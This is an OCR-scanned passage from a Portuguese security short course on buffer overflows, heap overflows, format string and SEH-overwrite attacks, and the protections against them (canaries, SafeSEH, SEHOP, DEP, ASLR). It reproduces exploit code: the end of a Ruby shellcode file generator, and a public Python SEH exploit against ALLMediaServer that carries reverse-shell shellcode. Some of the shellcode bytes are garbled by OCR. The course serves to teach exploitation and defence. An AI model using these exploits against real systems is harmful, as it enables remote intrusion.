12 "b668b0c4b8b5alc01eb8b048b01e8"+ 29 sms = File.new( "directret.sms", "w" )
13 "8944241c61c3b20829d489e589c26"+ 30 if sms

14 "88edeleec52e89cffffff894504bb"+ 31 sms.syswrite(payload)

15 "7ed8e273871c2452e88bffffff894"+ 32 else

16 "508686c6c20ff6833322e64687573"+ 33 puts "Unable to create file."

17 "6572885c240a89e6561f550489c25"+ 34 end

Aslinhas de 4 a 25 apresentam o cddigo do shellcode, que mostra uma caixa de
texto natela. A linha 27 preenche a varidvel denominada “payload” com a concatenagdo
dos vaores de todas as variaveis anteriormente criadas. Na linha 29, é criado um
arquivo chamado “directret.sms’ para escrita. Na linha 30, é checado se o arquivo foi
criado com sucesso. Caso 0 arquivo tenha sido criado com sucesso, o payload? é escrito
no arquivo “directret.sms’. Caso contrario, € exibida uma mensagem indicando que néo
foi possivel criar o arquivo.

Quando o usuario abrir a aplicacdo do GSM SIM Utility e carregar esse arquivo,
a vulnerabilidade de estouro de pilha sera explorada e o exploit serd executado,
ocasionando aimpressdo da mensagem natela (shellcode).

8 Em protocolos de comunicacdo, o termo payload refere-se a0 dado real sendo transmitido
(desconsiderando-se cabecalhos). No contexto de exploits, o termo payload € usado também como
sinbnimo de shellcode.
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Estouro do heap

Heap, como mencionado anteriormente, € uma regido de memoria reservada
pelo sistema operacional para 0 processo armazenar dados referentes a variaveis
alocadas dinamicamente, ou sgja, durante a execugdo [Coimbra, 2011].

Durante a execugdo de um programa, a alocagdo dindmica ocorre por dois
motivos. Primeiro, porgque ndo € possivel prever, durante a compilacéo, a quantidade de
blocos de memoria necessarios para armazenar dados cujo tamanho é variavel.
Segundo, porque com aocacdo dindmica de memoria, as areas livres podem ser
liberadas e reaproveitadas quando ndo estiverem mais sendo utilizadas.

Um estouro de heap ocorre quando um programa possibilita a copia de dados
para uma &rea de meméria dindmica (heap) sem checar se todos os dados de origem iréo
caber no destino. As técnicas de exploracdo das falhas de estouros de heap podem ser
divididas em dois grupos [Coimbra, 2011].

O primeiro grupo € constituido por ataques onde o estouro de uma variavel
localizada no heap possibilita a ateracdo do conteido dos blocos de memdria
adjacentes, enquanto 0 segundo grupo compreende os atagues que ateram as
informagdes de gerenciamento do heap.

No primeiro caso, 0 atacante utiliza um estouro no heap para sobrescrever dados
relativos a um arquivo ou a uma senha. Para que iSso ocorra, 0 ponteiro que o atacante
desgja sobrescrever deve estar localizado apos o0 buffer que sera sobrescrito, pois 0 heap
€ escrito no sentido crescente da memoria.

No segundo caso de ataques de estouro de heap, ocorre a sobrescrita de um
ponteiro para funcdo, ilustrada na Figura 1.5. Nessa situagdo, 0 atacante sobrescreve um
ponteiro, fazendo-o apontar para outro endereco de memoria, onde se localiza um
shellcode. Apos essa sobreposicao de enderecos, se a aplicacdo chamar a funcdo através
do ponteiro sobrescrito, o fluxo de execucdo sera desviado para o shellcode, ao invés de
saltar para o codigo originalmente apontado.

Antes do estouro Apos o estouro
Endereﬁ: 0x00000000 Endereﬁ: 0x00000000
\ LB B \ | BN B |
BUFFER BUFFER AA

int fungéo(void) <e—— int (func)(void)  \ int{func)veid) EE—— Shelicode

Enderego: OxFFFFFFFF Enderego: OxFFFFFFFF
Figura 1.5. Sobrescrita de ponteiro para fungéo no heap.

1.2.2.3. Falhas de for matacéo de strings

Outra vulnerabilidade comumente explorada em softwares é a faha de formatagdo de
strings. Antes de falarmos sobre a vulnerabilidade, iremos explicar rapidamente o
conceito de funcdes de formatacéo.

Uma funcdo de formatacdo € um tipo especial de funcdo que recebe um nimero
variavel de argumentos. Cada um desses argumentos € chamado de gtring de

15 ©2012 SBC — Soc. Bras. de Computagdo



Minicursos do XII Simpdsio Brasileiro em Seguranca da Informagao e de Sistemas Computacionais — SBSeg 2012

formatacdo. Uma funcdo de formatacdo faz uma conversdo de dados, utilizada para
representar tipos de dados primitivos em uma forma que possibilite a leitura do usuério
[Teso, 2001].

Assim como nos estouros de memoéria, os exploits usados contra strings mal
formatadas também dependem de erros dos programadores. Existem diversos
parametros de formatacéo. A Tabela 1.1 apresenta algumas possibilidades.

Tabela 1.1. Par&metros de formatac&o de Strings.

Parametro Tipo de Entrada Tipo de Saida

%d Vdor Decimal

%u Vdor Decimal néo sinalizado
%X Valor Hexadecimal

%s Ponteiro String

%n Ponteiro NUmero de bytes escritos

Uma vulnerabilidade de formatacdo de string ocorre quando um usuario € capaz
de fornecer uma string de formatacdo para uma funcdo de formatacdo, conforme o
exemplo ilustrado na Tabela 1.2.

Tabela 1.2. Exemplos de cddigo (vulneravel e correto) que utiliza formatagcéo de strings.

Cadigo vulner avel

Cadigo correto

int func (char *valuey{
printf(user);

}

int func (char *value}{
printf(*%s’ ,vaue);
}

Ambas as chamadas funcionam se o usuério informar entradas que ndo possuem
parametro de formatagdo. Caso um parametro de formatacdo seja passado, como “teste
%x”, a funcdo printf funcionara de forma adegquada apenas no segundo caso. Como no
primeiro caso o valor a ser exibido em hexadecimal n&o se encontra na chamada da
funcdo, o parametro %x passara a referir-se a um valor armazenado na estrutura da
pilha, que originalmente ndo deveria ser exposto. Assim, utilizando a entrada “ teste%ox”,
0 atacante terd acesso as representacfes hexadecimais da memoria do programa
vulneravel. Essa vulnerabilidade pode ser utilizada para examinar a pilha do processo.

Outro parametro utilizado em ataques contra funcdes de formatacéo de strings €
0 “%n". Através dele, o usuério copia para uma variavel do tipo inteira a quantidade de
bytes que ja foram manipulados pela fungdo de formatacdo de strings. Quando nenhuma
variavel é passada como parametro, o valor correspondente a quantidade de bytes
manipulados € escrito diretamente na pilha. Assim, o atacante pode forcar a escrita de
um valor qualquer na pilha (um novo endereco de retorno, por exemplo).

Embora o parémetro %n possibilite a escrita de valores na memdria, o controle
sobre o valor escrito € limitado, pois é preciso garantir a exata quantidade de caracteres
exibidos na saida para que um valor pré-determinado seja escrito pelo formatador.

1.2.2.4. Sobrescrita de Tratadores de Excecdo Estruturados (SEH)

A Ultima vulnerabilidade tratada neste minicurso € a de tratadores de excegdo
estruturados (SEH — Structured Exception Handler). O SEH é uma estrutura de
tratamento de excecdo utilizada pelo Windows. Os blocos de codigos sao encapsulados e
cada bloco possui um ou mais tratadores associados a ele [Anwar, 2009]. Cada tratador
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especifica um filtro para o tipo de excecéo que ira controlar. A estrutura que organiza 0s
tratadores de excegéo é guardada dentro da pilha em forma de umalista ligada.

Quando uma excegdo € disparada, um tratador adequado € procurado. O primeiro
que satisfaca as condices da excegdo é executado. Um método ou funcdo pode ter
vérias estruturas de tratamento de excecdo. A Listagem 1.3 ilustra um exemplo de
tratador de excegdo em C++:

Listagem 1.3. Cadigo de tratador de excegdo em linguagem C+.

1 try{ 4  except(expressédo){
2 //cédigo 5 //cédigo do tratador de excecao
3 1} 6 }

O bloco try/except € o responsavel por configurar uma estrutura de tratamento de
excecdo explicita. O trecho de codigo inserido dentro do fragmento try (linha 2) é
responsavel pelo fluxo normal da aplicacdo, enquanto o trecho de codigo disposto no
fragmento except (linha 5) faz o tratamento caso alguma excecao seja disparada.

A vulnerabilidade de sobrescrita de SEH surge quando ocorre um estouro de
memoéria dentro de um bloco try/except. Explorando-se esse transbordamento, € possivel
sobrescrever a estrutura dos SEHSs e obter controle sobre o ponteiro que aponta para a
funcdo de tratamento a ser executada [Anwar, 2009].

Um SEH possui dois ponteiros. o apontador para o proximo registro SEH e o
ponteiro para o tratador de excecdo. Essa estrutura é representada na Figura 1.6. O
apontador para o préximo registro guarda o endereco do proximo tratador de excecéo na
pilha, enquanto o ponteiro para o tratador de excecdo € o endereco inicia das instrucoes
a serem executadas caso o tratador satisfaca as restricdes da excecédo que foi disparada.
Cada tratador de excegdo possui a chance de tratar a excegdo disparada ou passé-la para
0 proximo tratador de excecéo que se encontra nalista.

Pilha
Endereco: 0x00000000
Tratador de excegao 1 \*
__except (expressao) { —_— -
//cédigo 1 Variaveis locais
} EBP salvo
EIP salvo (End. Ret.)
N Parametros
Tratador de excegao 2 End. préx. SEH
except (expressao)q{ =
~ //cédigo 2 ~ End. tratador de excegao)
} \___ ... outros frames ...
End. préx. SEH
X End. tratador de excegéo)
Tratador de excegao padrao \___ - outros frames ...
~ except gexpresséoz{ O0xFFFFFFFF
//cédigo padrao Y~ End. tratador padréo

Endereco: OxFFFFFFFF

Figura 1.6. Exemplo de pilha com SEH. [Anwar, 2009]

A partir do Windows XP SP1, como uma medida de protecdo, todos os
registradores de uso geral sdo zerados, antes da chamada do SEH. Entretanto, controlar
o fluxo de execucéo do programa ainda € possivel, pois foi constatado que, no momento
em que o tratador de excegcdo € chamado, o endereco do SEH fica armazenado duas
palavras (8 bytes) abaixo do topo da pilha (ESP — stack pointer).
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Isso significa que uma sequéncia de instrugdes que desempilhe (POP) 8 bytes
(duas palavras) e depois retorne (RET) desviard o fluxo de execucdo para a posi¢éo
originAmente ocupada pelo ponteiro para 0 proximo SEH. Em fungdo dessa
caracteristica, normalmente os atacantes sobrescrevem o endereco do tratador de
excecdo com o endereco de uma sequéncia de instrugdes da forma “POP POP RET”.
Isso garante que o fluxo de execucdo sera desviado para os bytes que originamente
indicavam o préximo SEH, mas que também sdo sobrescritos e, portanto, dominados
pelo atacante.

Assim, um exploit que sobrescreve o SEH para subverter o fluxo de execugdo
normal mente segue 0s seguintes passos:

a) Sobrescreve 0 ponteiro para 0 proximo tratador de excecdo com alguma
instrucéo de desvio (ex: IMP) que leve ao shellcode;

b) Sobrescreve o ponteiro para o cédigo do tratador de excecdo com um ponteiro
para uma sequéncia de instrucdes que traga de volta o fluxo de execucéo para a area
sobrescrita pelo atacante na pilha (ex: POP POP RET);

¢) Gera uma excecao;

Portanto, o atacante precisa ainda forcar a ocorréncia de uma excegdo, 0 que
causara a execucdo do tratador de excegdo cujo ponteiro foi sobrescrito. Uma estratégia
normalmente utilizada para forcar o lancamento de uma excecdo é sobrescrever uma
quantidade de dados na pilha suficiente para transbordar além dos limites estabel ecidos
para 0 segmento de pilha do processo. Quando isso acontece, 0 sistema lanca uma
excegao para evitar que dados da pilha sgjam gravados em outro segmento.

Um exemplo de exploit que utiliza a técnica de sobrescrita de SEH pode ser
encontrado em °. Nesse artefato, € explorada uma vulnerabilidade no ALLMediaServer.
A vulnerabilidade foi divulgada em 04 de julho de 2012, juntamente com a PoC
apresentada abaixo.

Listagem 1.4. Cadigo de exploit que utiliza técnica de sobrescrita de SEH para executar o shellcode.

import sys, socket
s = socket.socket(socket.AF INET, socket.SOCK STREAM)
s.connect((sys.argv[1l], 888))

buffer = "A" * 1072
buffer += "\xeb\x06\x90\x90" #NSEH jmp short 6
buffer += "\xca\x24\xec\x65" # SEH POP POP RETN

# msfpayload windows/shell reverse tcp
# you can replace the shellcode with any shellcode u want

buffer += ("\xd9\xc8\xd9\x74\x24\xf4\xb8\xab6\xaa\xb6\xad\x5b\x2b\xc9\xb1l"
"\x4f\x83\xeb\xfc\x31\x43\x15\x03\x43\x15\x44\x5Ff\x4a\x45\x01"
"\xa0\xb3\x96\x71\x28\x56\xa7\xa3\x4e\x12\x9a\x73\x04\x76\x17"
"\xT8\x48\x63\xac\x8c\x44\x84\x05\x3a\xb3\xab\x96\x8b\x7b\x67"
"\x54\x8a\x07\x7a\x89\x6c\x39\xb5\xdc\x6d\x7e\xa8\x2f\x3f\xd7"
"\xab6\x82\xaf\x5c\xfa\xle\xce\xb2\x70\x1le\xa8\xb7\x47\xeb\x02"
"\Xxb9\x97\x44\x19\xF1\x0f\xee\x45\x22\x31\x23\x96\x1e\x78\x48"
"\x6c\xd4\x7b\x98\xbd\x15\x4a\xe4\x11\x28\x62\xe9\x68\x6c\x45"
"\x12\x1f\x86\xb5\xaf\x27\x5d\xc7\x6b\xa2\x40\x6f\xff\x14\xal"
"\Xx91\x2c\xc2\x22\x9d\ x99\ x81\x6d\x82\x1c\x46\x06\xbe\x95\x69"
"\xc9\x36\xed\x4d\xcd\x13\xb5\xec\x54\xfe\x18\x11\x86\xa6\xc5"
"\Xb7\xcc\x45\x11\xc1\x8e\x01\xd6\xff\x30\xd2\x70\x88\x43\xe0"

? http://www.exploit-db.com/expl 0its/19625
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"\xdf\x22\xcc\x48\x97\xec\x0b\xae\x82\x48\x83\x51\x2d\xa8\x8d"
"\x95\x79\xT8\xa5\x3c\x02\x93\x35\xcO\xd7\x33\x66\x6e\x88\xf3"
"\xd6\xce\x78\x9b\x3c\xcl\xa7\xbb\x3e\x0b\xde\xfc\xa9\x74\x49"
"\x03\x3e\x1d\x88\x03\x2f\x81\x05\xe5\x25\x29\ x40\ xbe\xd1\xd0"
"\xc9\x34\x43\x1c\xc4\xdc\xe0\x8f\x83\x1lc\x6e\xac\x1b\x4b\x27"
"\x02\x52\x19\xd5\x3d\xcc\x3f\x24\xdb\x37\xfb\xf3\x18\xb9\x02"
"\X71\x24\x9d\ x14\ x4\ xa5\ x99\ x40\ x1 F\xfO\x77\x3e\xd9\ xaa\x39"
"\xe8\xb3\x01\x90\x7c\x45\x6a\x23\xfa\x4a\xa7\xd5\xe2\xfb\x1le"
"\xa0\x1d\x33\xf7\x24\x66\x29\x67\xca\xbd\xe9\x97\x81\x9f\x58"
"\x30\x4c\x4a\xd9\x5d\x6f\xal\xle\x58\xec\x43\xdf\x9f\xec\x26"
"\xda\xe4\xaa\xdb\x96\x75\x5f\xdb\x05\x75\x4a")

s.send(buffer)
s.close()

Esse exploit foi desenvolvido na linguagem Python. Na primeira linha, as
bibliotecas sys e socket sdo importadas. Apds isso, um soquete denominado “s’ € criado
€ uma conexao € iniciada com o servidor alvo na porta 888.

Nalinha 4, avariave “buffer” é preenchida com 1072 bytes que representam o
caractere “A”. Assim como no tradicional estouro de pilha, sequéncia de bytes é
usada apenas para transbordar o buffer até a posicdo desgjada. No caso de uma
exploragdo do SEH, a pilha é sobrescrita até a exata posicdo onde est4 posicionado o
ponteiro para o proximo SEH. Nesse ponto, o exploit posiciona umainstrucéo de “JMP
0x06”, usada para saltar seis bytes e aterrizar em cima do shellcode (linha 6). Em
seguida (inha 7), € anotado o endereco de uma sequéncia de instrugdes da forma “ POP
POP RET”. Esse endereco ird sobrescrever a posicdo exata onde se localiza o enderego
original do tratador de excegéo.

Da linha 12 até a linha 34, o shellcode é concatenado ao contetido da variavel
“buffer”. Posteriormente, na linha 36, o payload construido na varidvel “buffer” é
enviado para a aplicacdo vulnerdvel e, na linha 37, a conexdo é encerrada. Com a
aplicacéo ALLMediaServer em execucao, ao rodar o script que implementa o exploit, o

usudrio envia o payload malicioso para o servidor, acarretando na exploracao.

1.3. Protecdes

Assim como as estratégias para explorar vulnerabilidades de buffer overflow evoluiram
ao longo do tempo, surgiram e foram aprimorados mecanismos de protecdo, que tém a
incumbéncia de bloquear ou — pelo menos — dificultar a consolidagdo desses ataques.
Essas estratégias de defesa focam diferentes etapas do processo de funcionamento de um
sistema computacional, variando desde solucdes que tratam da fase de compilacéo de
um codigo-fonte até abordagens que propdem novos mecanismos de hardware.

Nesta secdo, serdo abordados os dispositivos de protecdo de memoria adotados
pelos sistemas operacionais modernos que tém impacto direto na escolha das técnicas
para desenvolvimento de exploits. Além disso, serdo discutidos os diversos filtros de
dados existentes contra entradas maliciosas, bem como as principais estratégias
utilizadas pel os desenvolvedores de exploits para burlar esses mecanismos.

1.3.1. Protegbes de memoria

Entre as classes de mitigacfes propostas contra atagues de exploracéo de softwares, os
mecanismos de protecdo da memodria, implementados pelos sistemas operacionais na
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tentativa de impor barreiras contra a execucdo de cddigos maliciosos, podem ser
considerados os dispositivos que mais evoluiram ao longo do tempo. Além disso, a
maior parte das técnicas modernas de desenvolvimento de exploits surgiram da
necessidade de adaptar os ataques para funcionamento em ambientes com protecdes de
memoria. Apesar dessa evolucgdo nas estratégias de exploracdo, quando empregadas em
conjunto, as protecdes de memoria descritas a seguir impdem um elevado nivel de
dificuldade a criacdo de exploits eficazes [Harper et al., 2011].

1.3.1.1. Pilha ndo-executave (nx-stack)

Como os atagues de estouro de pilha foram os primeiros a se popularizar, surgiu
inicidlmente a necessidade de se proteger a pilha contra a execucdo de cddigos,
principalmente porque a estratégia mais Obvia de exploracdo desse tipo de
vulnerabilidade é a insercéo do codigo malicioso na propria pilha, junto com o cédigo
gque gera o estouro do buffer. Em decorréncia da constatacdo dessa possibilidade,
surgiram em 1996 dispositivos para impedir a execucdo de instrugdes oriundas da &rea
de pilha (non-executable stack ou nx-stack). Atualmente esse tipo de protecdo esta
presente por padrédo na maioria dos sistemas operacionais, incluindo Linux, OpenBSD,
Mac OS X, Solaris e Windows, entre outros [Anley et a., 2007].

1.3.1.2. Cookies

Dada a importéncia e frequéncia dos ataques a pilha, foram desenvolvidos outros
procedimentos de seguranca para protegé-la. Entre eles, mecanismos que inserem
marcas aleatérias — denominadas cookies ou canarios® — entre buffers e informactes
sensiveis, tais como enderecos de retorno e o apontador de frame. A origem do nome
canario remonta a pratica historica adotada por trabalhadores de minas de carvao.
Nesses ambientes, mineradores costumam levar consigo um péassaro da espécie canario,
para que ele sirva de indicador biolégico dos niveis toxicos de gazes no interior das
minas. Por ser mais fréagil, o animal morre intoxicado antes que os mineradores
percebam o perigo decorrente da elevacao dos niveis de monoxido de carbono. Assim, a
morte do péassaro indica aos mineradores o momento de abandonar o local.

No contexto de transbordamentos da pilha, o canario funciona como um alerta
contra a sobrescrita de metadados. Antes de retornar, a funcdo checa se 0 marcador
permanece 0 mesmo. Assim, ao forcar um overflow que sobrescreva dados de controle,
0 atacante acaba alterando também o valor do canario. Dessa forma, a aplicacdo detecta
0 ataque e impede a execucdo do cddigo malicioso. Por outro lado, se o atacante
conseguir explorar algum dado corrompido antes da funcdo iniciar seu epilogo, o
canario ndo sera checado e 0 ataque ndo sera descoberto.

Os procedimentos de inser¢céo dos cookies variam. Algumas propostas, como
Sackguard, inserem 0s can&ios em tempo de compilagdo, enquanto outras, como
libverify, armazenam os marcadores durante a execucdo, atraves de funcbes
empacotadoras (wrappers) [Werthmann, 2006]. A vantagem da solucdo baseada em

1% Neste texto, os termos “cookie” , “ candrio” e “marcador” sdo usados de maneiraintercambiével.

' Epilogo é o termo normalmente utilizado para designar as Ultimas instruces assembly executadas por
uma funcdo. Quando a protecdo do cookie esta habilitada, as instrugdes que checam a integridade do
canério sdo inseridas nessa regido fina do cadigo da funcao.
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compiladores € a reducéo do overhead computacional a que o0 programa estara sujeito.
Por outro lado, ainser¢do dos canérios durante a execucdo garante o funcionamento de
sistemas legados ou cujo codigo-fonte ndo esteja disponivel. Mesmo no caso de
aplicagbes cujo codigo-fonte esteja disponivel, a insercdo dos cookies durante a
execucao descarta a necessidade de recompilé-los.

O GCC (GNU Compiler Collection), desde a versdo 4.1, implementa uma versao
aprimorada do SackGuard denominada ProPolice (também chamada de Sack
Smashing Protector — SSP) [Cugliari and Graziano, 2010]. Em algumas distribuicdes
Linux, a opcéo “-fstack-protector” desse compilador, que habilita o uso de canarios
guando ha variaveis locais do tipo string, € estabelecida como padréo. Desde 2002, o
compilador Visual Studio, da Microsoft, implementa um mecanismo equivaente,
denominado /GS. A partir de 2005, essa protegdo tornou-se padréo nesse compilador.
Em ambos os compiladores, além de inserir um canério para proteger o endereco de
retorno e o apontador de frame, as varidveis locais séo reordenadas e os parametros séo
copiados para junto dessas varidveis, a fim de impedir que estouros de buffer
sobrescrevam ponteiros. A Figura 1.7 ilustra a disposicdo da pilha de uma funcéo
vulneravel sem e com a protecéo.

Como os candrios sdo gerados aeatoriamente com uma razoavel entropia, €
bastante improvavel que um atacante consiga prever o marcador que serd utilizado. Por
outro lado, por questbes de arquitetura e desempenho, 0s canarios ndo sdo inseridos
junto a todos os buffers existentes na pilha, o que abre brechas para a superacdo dessa
protecdo em algumas situagdes especificas. Os tratadores estruturados de excecéo
(SEH), por exemplo, ndo sdo protegidos pelo /GS, podendo ser sobrescritos pelo
atacante. Se um atacante for capaz de sobrescrever um ponteiro para tratamento de
excegdes, conforme explicado na se¢éo 1.2.2.4, e conseguir forcar o lancamento de uma
excecdo antes que o epilogo da funcéo seja executado, a comparagdo do canario sequer
serd efetuada e o fluxo de execugdo serd desviado para o codigo malicioso, apontado
pelo ponteiro corrompido.

Fungao vulneravel Pilha sem protecido Pilha com protecio
Endereﬁ: 0x00000000 Endereﬁ: 0x00000000
void vuln(char* arg){ N o N R
char buf[100]; buf copia de arg
int* ptr; ptr ptr
base pointer buf
strcpy(buf, arg); endereco de retorno COOKIE
} N arg base pointer
Enderego: OxFFFFFFFF e"deregc;%e SN0

Enderego: OxFFFFFFFF

Figura 1.7. Estrutura da pilha sem proteg&o e com protecéo (canério, reordenacéo de variaveis e copia de
parametros) [Sotirov e Dowd, 2008].

1.3.1.3. SafeSEH e SEHOP

A fim de coibir os ataques que exploram os SEHSs, a Microsoft lancou um dispositivo
denominado “SafeSEH” (Safe Sructured Exception Handler), que agregou novos
mecanismos de protecdo da pilha, com o intuito de resguardar os registros para
tratamento de excegdo utilizados pel os seus sistemas operacionais [Microsoft, 2012d]. O
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flag de ligagcdo /SafeSEH esta disponivel no compilador Visual Studio desde a versdo
“.Net 2003".

A protecdo € viabilizada por umalista dos tratadores de excegdo validos, inserida
pelo ligador (linker) no cabecalho do processo, durante a etapa de amarragdo das
referéncias entre objetos executaveis. Ao ocorrer uma excegao, 0 sistema checa se o
tratador indicado corresponde a alguma entrada na lista de tratadores auténticos, antes
de executa-lo. Antes disso, € verificado se o ponteiro para o tratador de excecéo ndo
referencia um endereco da pilha, situacdo que configura um atague de estouro da pilha
[Sotirov e Dowd, 2008].

A sequéncia de verificagbes comegca com a lista de modulos carregados. O
despachador de excegbes checa se 0 endereco do tratador pertence a faixa de enderecos
de algum desses modulos. Caso o tratador aponte para algum maodulo carregado, a
comparacdo do ponteiro com a lista dos tratadores de excecéo vaidos é realizada. No
entanto, caso 0 enderego do tratador ndo pertenca a nenhum dos modulos carregados
pelo processo, ele é considerado seguro. Essa deciséo de implementagéo é explorada por
atacantes para superar a protecdo imposta pelo SafeSEH. Escolhe-se um enderegco que
ndo pertenca aos modulos carregados pelo processo (por exemplo, algum processo do
sistema operacional) e que execute uma sequéncia de instrucdes com efeito equiva ente
a sequéncia POP-POP-RET, explicada na secdo 1.2.2.4 [Eeckhoutte, 2009].

Outra técnica utilizada por atacantes para superar o SafeSEH consiste, na
verdade, em uma estratégia que evita a protecdo. Procura-se alguma biblioteca carregada
pelo processo e que ndo tenha sido compilada com a opgéo /SafeSEH. Assim, ao fazer
um ponteiro para tratamento de excecdo referenciar uma sequéncia de instruces da
forma POP-POP-RET existente em uma biblioteca desprotegida, o atacante consegue
desviar o fluxo de execucdo para o codigo malicioso inserido na pilha. Naturalmente,
essa estratégia ndo funciona caso todas as bibliotecas carregadas utilizem o SafeSEH.

Em 2009, foi lancada uma extensdo para a seguranca dos SEHs denominada
Sructured Exception Handler Overwrite Protection (SEHOP), que opera através de
checagens efetuadas unicamente durante a execucéo de um processo [Microsoft, 2010a].
Assim, esse mecanismo independe das escolhas durante a etapa de compilagdo dos
softwares. O SEHOP esté disponivel em todas as versdes do Windows a partir do Vista
SP1, mas somente esta habilitado por padréo nas versdes do Windows Server 2008.

O SEHOP acrescenta um registro simbdlico na Ultima posicéo da lista encadeada
de tratadores de excegdo. Isso permite que o despachador de excecOes do sistema
operacional cheque se o Ultimo elemento da lista aponta para um elemento pivo,
previamente estabelecido, evitando corrupcOes da lista encadeada [Miller, 2009].
Conforme descrito na secdo 1.2.2.4, o ponteiro para 0 proximo registro da lista
encadeada de tratadores de excegéo € posicionado entre as variaveis locais e o apontador
para a funcdo de tratamento. Assim, para sobrescrever o endereco da funcdo de
tratamento com dados oriundos de um estouro de buffer na pilha, o atacante corrompe
também o ponteiro para o registro subsequente na lista encadeada. Como consequéncia,
0 despachador de excegdes ndo atinge o registro smbdlico e, por isso, detecta o ataque.
Le Berre e Cauquil demonstraram que, respeitadas algumas condicbes, é possivel
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enganar a protecdo imposta pelo SEHOP criando um registro falso que aponte para o
ultimo elemento da lista encadeada de tratadores de excegdo [Berre e Cauquil, 2009].

1.3.1.4. Prevencéo de Execucéo de Dados (DEP)

Uma extensdo natural do mecanismo de proibicdo da execucdo de instrucbes
armazenadas na pilha (nx-stack), concebida para bloguear esse tipo de tentativa em
outras areas da memoria — como o0 heap e 0 BSS —, recebeu as designacdes “NX” (No
eXecute, na AMD) e “XD” (eXecute Disable, na Intel). Essa estratégia de protecéo,
batizada no Windows como DEP (Data Execution Prevention), baseia-se na utilizagdo
de um recurso incorporado aos processadores, em 2004, para marcar as paginas de
memoria com um bit de execucéo [ Sotirov e Dowd, 2008]. Assim, 0 sistema operacional
pode garantir que areas de memoria destinadas a armazenar dados — como a pilha e o
heap — ndo sejam executaveis.

O “NX/XD” torna praticamente impossivel a injegdo de cddigo externo em
programas vulneraveis. Entretanto, técnicas de reutilizacdo de codigo, como ROP,
explicada na se¢do 1.4.2, podem obter éxito contra um sistema protegido apenas pelo bit
de execucdo. Além disso, nas arquiteturas de 32 bits de alguns sistemas operacionais,
como em algumas versdes do Windows, a protecdo oferecida pelo DEP pode ser
desativada durante a execucdo do programa. Essa é uma brecha comumente explorada
por atacantes. Também sdo comuns ataques que usam funcdes do préprio sistema
operacional para copiar o shellcode em uma area executavel da memaoria ou para atribuir
permissdes de execucao a regido onde o shellcode se localiza.

O Windows implementa o DEP desde o lancamento do Service Pack 2 para o
XP. Assm como com o0 SafeSEH, o funcionamento do DEP requer que as aplicactes
sgjam ligadas com uma opcdo especial: /INXCOMPACT. Essa opgdo encontra-se
disponivel no compilador Visual Studio desde a versao 2005. A tecnologia “NX/XD”
também esta presente no Linux, desde o kernel 2.6.8 [Cugliari e Graziano, 2010].

1.3.1.5. Espaco aleatorio de ender ecos (ASLR)

Outra estratégia interessante de protecdo contra ataques de buffer overflow baseia-se na
ideia de impossibilitar o atacante de descobrir o endereco para o qual o fluxo do
programa deve ser transferido, através do embaralhamento dos enderecos de memaria
atribuidos aos segmentos do programa e as bibliotecas do sistema operacional. Essa
estratégia recebeu 0 nome Address Space Layout Randomization (ASLR). Ela baseia-se
no principio de gque se os enderecos de memaria forem atribuidos aleatoriamente aos
modulos e aos seus segmentos, um atacante ndo sabera para qual endereco de memaria
desviar.

O ASLR é adotado pelo Linux desde o kernel 2.6.12. Nesse sistema — cada vez
gue um processo € carregado — seus segmentos, endereco base e bibliotecas recebem
uma faixa de enderecos diferente. No Windows, protecdo foi implementada a partir
do Vista e do Server 2008. No caso dos sistemas da Microsoft, o embaralhamento de
enderecos é renovado a cada reinicializagdo do sistema operaciona [Cugliari e
Graziano, 2010].
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A estratégia utilizada no ASLR funciona muito bem quando devidamente
implementada e integrada as aplicagdes. No entanto, ela pode oferecer brechas, porque
alguns sistemas deixam éreas de memoria em posi¢Oes fixas, para facilitar o processo de
carregamento dos médulos ha memaria e para possibilitar a execucdo de otimizacdes de
codigo por parte do compilador. Além disso, um esquema de forca bruta pode ser
utilizado para testar todos o0s possiveis enderecos onde o shellcode possa estar
localizado, caso 0 processo ndo aborte sua execucdo ao sofrer um overflow. Se o
atacante conseguir recuperar algum endereco do processo durante 0 atague, como O
base pointer, ele ainda podera reduzir o nUmero de possibilidades a serem testadas.
Outra estratégia utilizada por atacantes para reduzir o nimero de testes durante o atague
de forca bruta € inserir um bloco de instrugdes NOP antes do shellcode, ampliando a sua
&rea de cobertura e, consequentemente, a quantidade de enderegos que levem a execugdo
do shellcode. Existe ainda outra técnica de superacdo do ASLR, denominada Heap
Sporaying, que também baseia-se na inser¢do de blocos de instrugdes NOP junto com 0
shellcode. Essa abordagem € explicada em detalhes na secéo 1.4.3 deste texto.

Em situagdes especificas, os atacantes podem calcular o tamanho da entrada
maliciosa de forma a sobrescrever apenas a fracdo menos significativa do endereco de
retorno [Sotirov e Dowd, 2008]. Como o ASLR embaralha apenas os bytes mais
significativos do endereco de cada mddulo (endereco base), se o payload malicioso
terminar exatamente em cima desses bytes do endereco de retorno, pode ser possivel
apontar para um shellcode. 1sso € viavel quando o endereco base do endereco de retorno
original aponta para uma regido que contém alguma instrucdo capaz de desviar o fluxo
para a area onde o shellcode se localiza.

No caso especifico do Windows, a aeatoriedade no endereco de carregamento
dos modulos € uma opcdo dentro do processo de ligacdo (/DYNAMICBASE), que
muitas vezes ndo € ativada ou que impde a necessidade de recompilacéo de aplicacoes
previamente distribuidas. Em funcdo disso, os atacantes também utilizam contra o
ASLR a mesma ideia empregada para transpor a protecdo oferecida pelo SafeSEH:
encontrar um executével ou biblioteca que ndo tenha sido compilado utilizando a opgéo
IDYNAMICBASE e us&lo paratransferir o fluxo de execucdo para o shellcode.

1.3.2. Filtros de Dados

Existem exploits que atuam em programas que ndo executam um procedimento de
validacdo nos dados de entrada fornecidos pelos usuarios [Chien e Szor, 2002]. Com a
intencdo de resolver esse problema, a entrada de dados de programas considerados
vulnerdveis passou a aplicar um conjunto de “filtros’ que limitam o conjunto de
simbolos aceitos como vaidos apenas aqueles que pertencem as faixas de “A” a “Z”
(Ox41 até 0x5A), de“a” a“z”, (Ox61l ate Ox7A) ede “0” a“9” (0x30 to 0x39) [Anley et
al., 2007], na tentativa de impedir a entrada de simbolos especiais como o *“scape’
(0x1B) ou outros simbolos reservados.

Entretanto, existem duas técnicas utilizadas pelos desenvolvedores de exploits
para superar esta limitagdo: “bridge building” e “encoders’ [Anley et a., 2007].

O objetivo do bridge building, € ocultar o verdadeiro codigo do exploit através
de um conjunto de opcodes congtituidos apenas de bytes alfanuméricos que, ao serem
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executados, irdo gerar ainstrucdo desgjada, construindo uma “ponte” entre a codificacdo
aceita e a instrucdo desgjada. A Tabela 1.3 oferece um exemplo do uso de instrugoes
construidas com simbolos “vaidos’ responsaveis por gerar a instrucdo “CALL EAX”
(OxFF 0xDO0).

